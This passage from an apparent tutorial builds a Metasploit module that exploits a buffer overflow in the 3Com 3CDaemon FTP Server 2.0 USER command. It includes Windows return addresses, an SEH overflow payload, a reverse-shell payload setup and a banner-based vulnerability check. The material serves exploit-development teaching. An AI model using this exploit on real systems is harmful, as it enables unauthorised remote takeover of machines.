ws2help.dll
                               },
                          ],
                          [
                               'Windows XP English SP0/SP1',
                               {
                                    'Platform' => 'win',
                                    'Ret'       =>  0x71aa32ad,  #
ws2help.dll
                               },
                          ],
                          [
                               'Windows NT 4.0 SP4/SP5/SP6',
                               {
                                    'Platform' => 'win',
                                    'Ret'       =>  0x77681799,  #
ws2help.dll
                               },
                              ],
                        ],
                  'DisclosureDate' => 'Jan 4 2005'))
      end
end
end
```

The bulk of this code has been done by us earlier. About 70 percent of the exploit code is in the constructor which is basically not code but meta data that makes the code work. Know one, know all of them and hence we will not explain further. The main difference is that we have palced mukhi.rb in the ftp folder and hence have a module name Ftp added.

```
use exploit/windows/ftp/mukhi
```

We also have to set a few more varibales and save them so that we do not have to key them all the time

```
set PAYLOAD windows/shell/reverse_tcp
```

This payload is the most reliable from our point og view.

```
set RPORT 21
```

The ftp port is already set but we have to set it again. Periles of using a beta.

```
set RHOST 192,168.1.1
```

The IP address of the machine that has the ftp server running. we use VMware and so should the whole world

```
set LHOST 192.168.1.167
```

This is our IP address, your mileage will vary. the payload wants to talk back or connect to us and hence we have to specify our IP address.

```
set TARGET 0
```

The OS we use is good old Windows 2000

```
save
```

This saves all the above.

When we use the info command or show options we see that our options and documentation has been registered.

```
msf exploit(windows/ftp/mukhi) > check
```

```
[*] This exploit does not support check
```

Every exploit should have a method check that allows us to check whether the other side can be exploited or not.

```
PROGRAM 29
def check
p "in check"
return Exploit::CheckCode::Safe
end
end
end

OUTPUT
msf exploit(windows/ftp/mukhi) > check
"in check"
[*] The target is not exploitable.
```

We create a check method at the end of the class and return a value Safe from the module CheckCode in the class Exploit in exploit.rb. Safe is an array which has a number and a string that gets displayed. As we return safe the message tells us that our exploit will fail. What we should return is Vulnerable. What follows is the module CheckCode.

```
PROGRAM 30
module CheckCode
# The target is safe and is therefore not exploitable.
Safe        = [ 0, "The target is not exploitable." ]
# The target is running the service in requestion but may not be
exploitable.
Detected    = [ 1, "The target service is running, but could not
be validated." ]
# The target appears to be vulnerable.
Appears     = [ 2, "The target appears to be vulnerable." ]
# The target is vulnerable.
Vulnerable  = [ 3, "The target is vulnerable." ]
# The exploit does not support the check method.
Unsupported = [ 4, "This exploit does not support check." ]
end

include Exploit::Remote::Ftp
def check
connect
disconnect
p banner
return Exploit::CheckCode::Safe
end

OUTPUT
msf exploit(windows/ftp/mukhi) > check
[*] Connecting to FTP server 192.168.1.1:21...
[*] Connected to target FTP server.
"220 3Com 3CDaemon FTP Server Version 2.0\r\n"
[*] The target is not exploitable.
```

We now call the methods connect and disconnect. The connect method stores the banner send by any ftp server in a object called banner. The connect and disconnect methods are in the mixin Ftp and hence have to be included. We display the banner object and return safe so we get the same message as before. The reason we need the banner is so that we cancheck if the other side has the 3com server running. If not we return safe, if yes we return vulnerble.

```
PROGRAM 31
def check
connect
disconnect
if (banner =~ /3Com 3CDaemon FTP Server Version 2\.0/)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end

OUTPUT
msf exploit(windows/ftp/mukhi) > check
[*] Connecting to FTP server 192.168.1.1:21...
[*] Connected to target FTP server.
[+] The target is vulnerable.
```

We use the =~ as we are using regular expressions which we place in a //. A . has special meaning and hence we use a \ so that it looses its special meaning. As we have a server running we are told that the target is vulnerable.

```
PROGRAM 32
def exploit
connect
print_status("Trying target #{target.name}...")
buf = Rex::Text.rand_text_english(2048, payload_badchars)
p buf
payload_badchars.each_byte {|x| printf("%02x ",x) }
printf("\n")
handler
disconnect
end

OUTPUT
aip0oqEuRVd2KiQ$sA9
00 7e 2b 26 3d 25 3a 22 0a 0d 20 2f 5c 2e 09
```

The rand_text_english gives us in our case 2048 random English text and we have displayed some for you. Keep running and check for your self whether the text is random or not. The texts will not contain the bad chars. the object payload_badchars gives us the same bad chars that we supplied to the info array.

```
PROGRAM 33
include Exploit::Remote::Seh
```

```
def exploit
connect
print_status("Trying target #{target.name}...")
buf = Rex::Text.rand_text_english(2048, payload_badchars)
seh  = generate_seh_payload(target.ret)
buf[229, seh.length] = seh
send_cmd( ['USER', buf] , false )
handler
disconnect
end
```

Now when we run the above program we get a command prompt and control of the machine. The mixin Seh has the code for the method generate_seh_payload.